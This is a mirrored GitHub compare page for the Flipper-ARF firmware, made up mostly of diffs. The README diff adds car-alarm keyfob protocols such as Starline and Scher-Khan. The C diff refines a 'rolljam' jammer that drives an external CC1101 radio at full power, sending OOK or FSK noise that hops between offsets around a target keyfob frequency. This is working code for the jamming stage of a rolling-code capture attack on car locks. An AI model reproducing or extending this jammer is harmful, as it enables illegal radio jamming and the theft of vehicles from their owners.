mirror of
https://github.com/D4C1-Labs/Flipper-ARF.git
synced 2026-03-30 13:15:38 +00:00
Compare commits
20 Commits
dev-9d2298
...
dev-170111
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
17011180d1 | ||
|
|
d85657b6b3 | ||
|
|
2fd01bb911 | ||
|
|
d23a892a16 | ||
|
|
16d06d75fe | ||
|
|
937a2204c1 | ||
|
|
aaf16ec0de | ||
|
|
cdd7c56b69 | ||
|
|
0fd985c67a | ||
|
|
e93606aa87 | ||
|
|
3933a77b72 | ||
|
|
ab665809ce | ||
|
|
56c5670956 | ||
|
|
a5cf675561 | ||
|
|
c6bec5ef4f | ||
|
|
883d387246 | ||
|
|
951f35c356 | ||
|
|
4e05a0e631 | ||
|
|
17d497e21e | ||
|
|
d5b46ffefb |
@@ -60,6 +60,10 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
|
||||
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
|
||||
| Starline | Star Line | 433 MHz | AM | Yes | Yes | No |
|
||||
| Scher-Khan | Scher-Khan | 433 MHz | FM | Yes | Yes | No |
|
||||
| Scher-Khan | Magic Code PRO1/PRO2 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Sheriff | Sheriff CFM (ZX-750/930) | 433 MHz | AM | Yes | Yes | No |
|
||||
|
||||
### Gate / Access Protocols
|
||||
|
||||
|
||||
@@ -5,11 +5,10 @@
|
||||
#include <furi_hal_power.h>
|
||||
|
||||
// ============================================================
|
||||
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
|
||||
// 5V OTG power
|
||||
// ============================================================
|
||||
|
||||
static bool otg_was_enabled = false;
|
||||
|
||||
static bool otg_was_enabled = false;
|
||||
static bool use_flux_capacitor = false;
|
||||
|
||||
void rolljam_ext_set_flux_capacitor(bool enabled) {
|
||||
@@ -33,9 +32,6 @@ static void rolljam_ext_power_off(void) {
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// GPIO Pins
|
||||
// ============================================================
|
||||
static const GpioPin* pin_mosi = &gpio_ext_pa7;
|
||||
static const GpioPin* pin_miso = &gpio_ext_pa6;
|
||||
static const GpioPin* pin_cs = &gpio_ext_pa4;
|
||||
@@ -97,30 +93,43 @@ static const GpioPin* pin_amp = &gpio_ext_pc3;
|
||||
#define MARC_TX 0x13
|
||||
|
||||
// ============================================================
|
||||
// Bit-bang SPI
|
||||
// Band calibration
|
||||
// ============================================================
|
||||
|
||||
typedef struct {
|
||||
uint32_t min_freq;
|
||||
uint32_t max_freq;
|
||||
uint8_t fscal3;
|
||||
uint8_t fscal2;
|
||||
uint8_t fscal1;
|
||||
uint8_t fscal0;
|
||||
} ExtBandCal;
|
||||
|
||||
static const ExtBandCal ext_band_cals[] = {
|
||||
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
|
||||
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
|
||||
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
|
||||
};
|
||||
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
|
||||
|
||||
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
|
||||
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
|
||||
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
|
||||
return &ext_band_cals[i];
|
||||
}
|
||||
return &ext_band_cals[1];
|
||||
}
|
||||
|
||||
static inline void spi_delay(void) {
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
for(int i = 0; i < 16; i++) __NOP();
|
||||
}
|
||||
|
||||
static inline void cs_lo(void) {
|
||||
furi_hal_gpio_write(pin_cs, false);
|
||||
spi_delay(); spi_delay();
|
||||
}
|
||||
|
||||
static inline void cs_hi(void) {
|
||||
spi_delay();
|
||||
furi_hal_gpio_write(pin_cs, true);
|
||||
spi_delay(); spi_delay();
|
||||
}
|
||||
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
|
||||
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
|
||||
|
||||
static bool wait_miso(uint32_t us) {
|
||||
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
|
||||
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
|
||||
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
|
||||
uint32_t s = DWT->CYCCNT;
|
||||
uint32_t t = (SystemCoreClock / 1000000) * us;
|
||||
while(furi_hal_gpio_read(pin_miso)) {
|
||||
@@ -154,20 +163,10 @@ static uint8_t cc_strobe(uint8_t cmd) {
|
||||
static void cc_write(uint8_t a, uint8_t v) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return; }
|
||||
spi_byte(a);
|
||||
spi_byte(v);
|
||||
spi_byte(a); spi_byte(v);
|
||||
cs_hi();
|
||||
}
|
||||
|
||||
static uint8_t cc_read(uint8_t a) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
spi_byte(a | 0x80);
|
||||
uint8_t v = spi_byte(0x00);
|
||||
cs_hi();
|
||||
return v;
|
||||
}
|
||||
|
||||
static uint8_t cc_read_status(uint8_t a) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
@@ -185,10 +184,6 @@ static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
|
||||
cs_hi();
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Helpers
|
||||
// ============================================================
|
||||
|
||||
static bool cc_reset(void) {
|
||||
cs_hi(); furi_delay_us(30);
|
||||
cs_lo(); furi_delay_us(30);
|
||||
@@ -210,13 +205,8 @@ static bool cc_check(void) {
|
||||
return (v == 0x14 || v == 0x04 || v == 0x03);
|
||||
}
|
||||
|
||||
static uint8_t cc_state(void) {
|
||||
return cc_read_status(CC_MARCSTATE) & 0x1F;
|
||||
}
|
||||
|
||||
static uint8_t cc_txbytes(void) {
|
||||
return cc_read_status(CC_TXBYTES) & 0x7F;
|
||||
}
|
||||
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
|
||||
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
|
||||
|
||||
static void cc_idle(void) {
|
||||
cc_strobe(CC_SIDLE);
|
||||
@@ -229,98 +219,14 @@ static void cc_idle(void) {
|
||||
static void cc_set_freq(uint32_t f) {
|
||||
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
|
||||
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
|
||||
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
|
||||
cc_write(CC_FREQ0, r & 0xFF);
|
||||
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
|
||||
cc_write(CC_FREQ0, r & 0xFF);
|
||||
}
|
||||
|
||||
static bool cc_configure_jam(uint32_t freq) {
|
||||
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
|
||||
const ExtBandCal* cal = ext_get_band_cal(freq);
|
||||
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
|
||||
cc_idle();
|
||||
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
|
||||
// Fixed packet length, 255 bytes per packet
|
||||
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
|
||||
cc_write(CC_PKTCTRL1, 0x00); // No address check
|
||||
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
|
||||
|
||||
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
|
||||
// No sync word - just raw data
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
|
||||
// Frequency
|
||||
cc_set_freq(freq);
|
||||
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
|
||||
// CRITICAL: LOW data rate to prevent FIFO underflow
|
||||
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
|
||||
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
|
||||
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
|
||||
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
|
||||
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
|
||||
cc_write(CC_MDMCFG1, 0x00); // No preamble
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, 0x47);
|
||||
|
||||
// Auto-return to TX after packet sent
|
||||
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
|
||||
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
|
||||
|
||||
// MAX TX power
|
||||
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
|
||||
|
||||
// PATABLE: ALL entries at max power
|
||||
// Index 0 = 0x00 for OOK "0" (off)
|
||||
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
|
||||
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
|
||||
// Calibration
|
||||
cc_write(CC_FSCAL3, 0xEA);
|
||||
cc_write(CC_FSCAL2, 0x2A);
|
||||
cc_write(CC_FSCAL1, 0x00);
|
||||
cc_write(CC_FSCAL0, 0x1F);
|
||||
|
||||
// Test regs
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
|
||||
// Calibrate
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
|
||||
// Verify configuration
|
||||
uint8_t st = cc_state();
|
||||
uint8_t mdm4 = cc_read(CC_MDMCFG4);
|
||||
uint8_t mdm3 = cc_read(CC_MDMCFG3);
|
||||
uint8_t mdm2 = cc_read(CC_MDMCFG2);
|
||||
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
|
||||
uint8_t plen = cc_read(CC_PKTLEN);
|
||||
uint8_t pa0 = cc_read(CC_PATABLE);
|
||||
|
||||
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
|
||||
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
|
||||
|
||||
return (st == MARC_IDLE);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// FSK jam configuration (FM238 / FM476)
|
||||
// Same low-rate FIFO approach but 2-FSK modulation
|
||||
// ============================================================
|
||||
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
|
||||
FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
|
||||
cc_idle();
|
||||
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
cc_write(CC_PKTCTRL0, 0x00);
|
||||
@@ -329,51 +235,115 @@ static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
|
||||
cc_set_freq(freq);
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
|
||||
// 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
|
||||
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz, DRATE_E=5
|
||||
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
|
||||
cc_write(CC_MDMCFG2, 0x00); // 2-FSK, no sync word
|
||||
cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
|
||||
// Deviation: FM238=~2.4kHz, FM476=~47.6kHz
|
||||
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
|
||||
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
|
||||
// FSK: constant PA, no OOK shaping
|
||||
cc_write(CC_FREND0, 0x10);
|
||||
uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
cc_write(CC_MDMCFG4, 0x85);
|
||||
cc_write(CC_MDMCFG3, 0x43);
|
||||
cc_write(CC_MDMCFG2, 0x30);
|
||||
cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, 0x47);
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
cc_write(CC_FREND0, 0x11);
|
||||
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
|
||||
cc_write(CC_FSCAL3, 0xEA);
|
||||
cc_write(CC_FSCAL2, 0x2A);
|
||||
cc_write(CC_FSCAL1, 0x00);
|
||||
cc_write(CC_FSCAL0, 0x1F);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
|
||||
cc_write(CC_FSCAL3, cal->fscal3);
|
||||
cc_write(CC_FSCAL2, cal->fscal2);
|
||||
cc_write(CC_FSCAL1, cal->fscal1);
|
||||
cc_write(CC_FSCAL0, cal->fscal0);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
|
||||
uint8_t st = cc_state();
|
||||
uint8_t mdm2 = cc_read(CC_MDMCFG2);
|
||||
uint8_t dev = cc_read(CC_DEVIATN);
|
||||
FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
|
||||
uint8_t st = cc_state();
|
||||
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
|
||||
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
|
||||
return (st == MARC_IDLE);
|
||||
}
|
||||
|
||||
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
|
||||
const ExtBandCal* cal = ext_get_band_cal(freq);
|
||||
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
|
||||
cc_idle();
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
cc_write(CC_PKTCTRL0, 0x00);
|
||||
cc_write(CC_PKTCTRL1, 0x00);
|
||||
cc_write(CC_PKTLEN, 0xFF);
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
cc_set_freq(freq);
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
cc_write(CC_MDMCFG4, 0x85);
|
||||
cc_write(CC_MDMCFG3, 0x43);
|
||||
cc_write(CC_MDMCFG2, 0x00);
|
||||
cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
cc_write(CC_FREND0, 0x10);
|
||||
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
cc_write(CC_FSCAL3, cal->fscal3);
|
||||
cc_write(CC_FSCAL2, cal->fscal2);
|
||||
cc_write(CC_FSCAL1, cal->fscal1);
|
||||
cc_write(CC_FSCAL0, cal->fscal0);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
return (cc_state() == MARC_IDLE);
|
||||
}
|
||||
|
||||
static void ext_gpio_init_spi_pins(void) {
|
||||
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_cs, true);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_sck, false);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_mosi, false);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
|
||||
}
|
||||
|
||||
static void ext_gpio_deinit_spi_pins(void) {
|
||||
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_init(void) {
|
||||
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_deinit(void) {
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "EXT GPIO deinit");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Jam thread - FIFO-fed OOK at low data rate
|
||||
// Noise pattern & jam helpers
|
||||
// ============================================================
|
||||
|
||||
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
|
||||
@@ -387,34 +357,41 @@ static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
|
||||
static int32_t jam_thread_worker(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
|
||||
uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
|
||||
uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
|
||||
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
|
||||
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
|
||||
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
|
||||
|
||||
FURI_LOG_I(TAG, "========================================");
|
||||
FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
|
||||
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
|
||||
app->frequency, app->jam_offset_hz, is_fsk);
|
||||
FURI_LOG_I(TAG, "========================================");
|
||||
|
||||
ext_gpio_init_spi_pins();
|
||||
furi_delay_ms(5);
|
||||
|
||||
if(!cc_reset()) {
|
||||
FURI_LOG_E(TAG, "JAM: Reset failed!");
|
||||
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
if(!cc_check()) {
|
||||
FURI_LOG_E(TAG, "JAM: No chip!");
|
||||
FURI_LOG_E(TAG, "JAM: Chip no detectado");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool jam_ok = false;
|
||||
if(app->mod_index == ModIndex_FM238) {
|
||||
jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
|
||||
} else if(app->mod_index == ModIndex_FM476) {
|
||||
jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
|
||||
} else {
|
||||
jam_ok = cc_configure_jam(jam_freq_pos);
|
||||
}
|
||||
bool jam_ok;
|
||||
if(app->mod_index == ModIndex_FM238)
|
||||
jam_ok = cc_configure_jam_fsk(freq_pos, false);
|
||||
else if(app->mod_index == ModIndex_FM476)
|
||||
jam_ok = cc_configure_jam_fsk(freq_pos, true);
|
||||
else
|
||||
jam_ok = cc_configure_jam(freq_pos);
|
||||
|
||||
if(!jam_ok) {
|
||||
FURI_LOG_E(TAG, "JAM: Config failed!");
|
||||
FURI_LOG_E(TAG, "JAM: Config failed");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
|
||||
@@ -438,18 +415,20 @@ static int32_t jam_thread_worker(void* context) {
|
||||
jam_start_tx(noise_pattern, 62);
|
||||
st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
|
||||
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
|
||||
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
|
||||
|
||||
uint32_t loops = 0;
|
||||
uint32_t loops = 0;
|
||||
uint32_t underflows = 0;
|
||||
uint32_t refills = 0;
|
||||
bool on_positive_offset = true;
|
||||
uint32_t refills = 0;
|
||||
bool on_pos = true;
|
||||
|
||||
while(app->jam_thread_running) {
|
||||
loops++;
|
||||
@@ -458,10 +437,8 @@ static int32_t jam_thread_worker(void* context) {
|
||||
cc_idle();
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_us(100);
|
||||
|
||||
on_positive_offset = !on_positive_offset;
|
||||
cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
|
||||
|
||||
on_pos = !on_pos;
|
||||
cc_set_freq(on_pos ? freq_pos : freq_neg);
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(1);
|
||||
@@ -469,7 +446,6 @@ static int32_t jam_thread_worker(void* context) {
|
||||
}
|
||||
|
||||
st = cc_state();
|
||||
|
||||
if(st != MARC_TX) {
|
||||
underflows++;
|
||||
cc_idle();
|
||||
@@ -500,69 +476,46 @@ static int32_t jam_thread_worker(void* context) {
|
||||
cc_idle();
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
|
||||
cc_write(CC_IOCFG2, 0x2E);
|
||||
|
||||
ext_gpio_deinit_spi_pins();
|
||||
|
||||
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// GPIO
|
||||
// ============================================================
|
||||
|
||||
void rolljam_ext_gpio_init(void) {
|
||||
FURI_LOG_I(TAG, "EXT GPIO init");
|
||||
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_cs, true);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_sck, false);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_mosi, false);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_deinit(void) {
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
|
||||
}
|
||||
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
FURI_LOG_I(TAG, "EXT GPIO deinit");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Public
|
||||
// Public API
|
||||
// ============================================================
|
||||
|
||||
void rolljam_jammer_start(RollJamApp* app) {
|
||||
if(app->jamming_active) return;
|
||||
app->jam_frequency = app->frequency + app->jam_offset_hz;
|
||||
rolljam_ext_power_on();
|
||||
furi_delay_ms(100);
|
||||
rolljam_ext_gpio_init();
|
||||
furi_delay_ms(10);
|
||||
|
||||
app->jam_frequency = app->frequency + app->jam_offset_hz;
|
||||
app->jam_thread_running = true;
|
||||
app->jamming_active = true;
|
||||
|
||||
rolljam_ext_power_on();
|
||||
furi_delay_ms(50);
|
||||
|
||||
rolljam_ext_gpio_init();
|
||||
|
||||
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
|
||||
furi_thread_start(app->jam_thread);
|
||||
app->jamming_active = true;
|
||||
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
|
||||
|
||||
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
|
||||
}
|
||||
|
||||
void rolljam_jammer_stop(RollJamApp* app) {
|
||||
if(!app->jamming_active) return;
|
||||
|
||||
app->jam_thread_running = false;
|
||||
furi_thread_join(app->jam_thread);
|
||||
furi_thread_free(app->jam_thread);
|
||||
app->jam_thread = NULL;
|
||||
|
||||
rolljam_ext_gpio_deinit();
|
||||
rolljam_ext_power_off();
|
||||
app->jamming_active = false;
|
||||
|
||||
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
|
||||
}
|
||||
|
||||
@@ -21,148 +21,252 @@
|
||||
#define CC_FSCAL1 0x25
|
||||
#define CC_FSCAL0 0x26
|
||||
|
||||
// ============================================================
|
||||
// Presets
|
||||
// ============================================================
|
||||
#define CC_PKTCTRL0 0x08
|
||||
#define CC_PKTCTRL1 0x07
|
||||
#define CC_FSCTRL1 0x0B
|
||||
#define CC_WORCTRL 0x20
|
||||
#define CC_FREND1 0x21
|
||||
|
||||
static const uint8_t preset_ook_rx[] = {
|
||||
// OOK 650kHz
|
||||
static const uint8_t preset_ook_650_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0xD7, // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_FIFOTHR, 0x07,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x17,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x43, // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
|
||||
CC_AGCCTRL1, 0x40, // CS_REL_THR relative threshold
|
||||
